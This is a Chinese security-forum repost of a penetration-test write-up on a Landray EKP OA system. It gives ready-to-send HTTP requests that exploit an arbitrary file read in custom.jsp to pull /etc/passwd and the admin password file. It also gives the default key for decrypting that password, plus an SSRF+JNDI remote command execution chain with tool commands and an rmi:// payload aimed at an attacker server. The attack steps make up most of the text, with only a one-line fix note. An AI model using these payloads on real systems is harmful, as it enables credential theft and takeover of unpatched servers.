安全矩阵

 找回密码
 立即注册
搜索
查看: 2681|回复: 0

记一次密码读取+SSRF渗透测试

[复制链接]

221

主题

233

帖子

792

积分

高级会员

Rank: 4

积分
792
发表于 2021-8-9 22:34:35 | 显示全部楼层 |阅读模式
记一次密码读取+SSRF渗透测试enemy 潇湘信安 今天
收录于话题
#实战案例47
#Web安全34
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

文章来源:先知社区
原文地址:https://xz.aliyun.com/t/9950

0x01 背景
记一次授权的渗透测试,目标网站使用了某凌OA(EKP)办公系统,版本存在任意文件读取和SSRF+JNDI远程命令执行安全缺陷,本文仅对这方面做相关描述,针对此网站系统进行的信息收集覆盖面和其他测试小工具就不再赘述了... 【旺柴】——手动狗头,厚码见谅,大佬轻喷~

0x02 概述
系统存在任意文件读取漏洞,攻击者可利用该漏洞读取管理员密码配置文件或读取系统其他敏感文件,获取加密口令后可通过默认key对密码进行解密,从而登入系统配置管理后台,携带登入后台的Cookie可利用SSRF漏洞进行远程命令执行操作。

0x03 任意文件读取
漏洞位置在/sys/ui/extend/varkind/custom.jsp,也就是在custom.jsp这个页面;
  • 请求方法为POST;
  • 请求包&Payload如下:


读取/etc/passwd文件
  1. POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
  2. Host:
  3. Content-Type: application/x-www-form-urlencoded
  4. Cookie:
  5. Connection: close
  6. Content-Length: 42

  7. var={"body":{"file":"file:///etc/passwd"}}
复制代码





读取/WEB-INF/KmssConfig/admin.properties配置文件,获取管理员加密口令

  1. POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
  2. Host:
  3. Content-Type: application/x-www-form-urlencoded
  4. Cookie:
  5. Connection: close
  6. Content-Length: 60

  7. var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}
复制代码




0x04 任意文件读取POC



0x05 SSRF+JNDI远程命令执行
利用漏洞读取/WEB-INF/KmssConfig/admin.properties配置文件,使用默认密钥对密码进行解密

           
  •         模式:ECB

           
  •         填充:ZeroPadding

           
  •         偏移量:ECB模式不需要

           
  •         默认密钥:kmssAdminkey



得到明文密码后,访问/amdin.do系统配置管理后台进行登入操作;JNDI的远程命令执行,需要配合后台密码进行执行;没有密码,即使有SSRF的读取也是没有用处的,因为Web系统可能更改了默认安装的路径,导致读取不到



成功登入后,使用JNDI注入利用工具,生成JNDI链接并启动后端相关服务,可执行程序为jar包,在命令行中运行以下命令:

           

$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [IP]
其中:
  1. -C - 远程class文件中要执行的命令。
  2.   (可选项 , 默认命令是mac下打开计算器,即"open /Applications/Calculator.app")

  3.  -A - 服务器地址,可以是IP地址或者域名。
  4.   (可选项 , 默认地址是第一个网卡地址)
复制代码
注意:要确保109913898180端口可用,不被其他程序占用。

工具获取:源码下载到本地然后自行编译打包。(在Java1.7+ 、Java1.8+ 和 Maven 3.x+环境下测试可以)
  1. [        DISCUZ_CODE_15        ]nbsp;git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
  2. [        DISCUZ_CODE_15        ]nbsp;cd JNDI-Injection-Exploit
  3. $ mvn clean package -DskipTests
复制代码

运行工具监听端口,进行ping dnslog测试

           

$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "ping b50dpx.dnslog.cn" -A "xxx.xxx.xxx.xxx"



  1. POST /admin.do HTTP/1.1
  2. Host:
  3. Content-Length: 68
  4. Cache-Control: max-age=0
  5. Upgrade-Insecure-Requests: 1
  6. Content-Type: application/x-www-form-urlencoded
  7. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
  8. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  9. Accept-Encoding: gzip, deflate
  10. Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
  11. Cookie:
  12. Connection: close

  13. method=config&datasource=rmi://xxx.xxx.xxx.xxx:1099/zosci3
复制代码




0x06 漏洞修复建议
目前厂商已提供相关漏洞补丁链接,请关注厂商主页随时更新。

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 13:39 , Processed in 0.014243 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表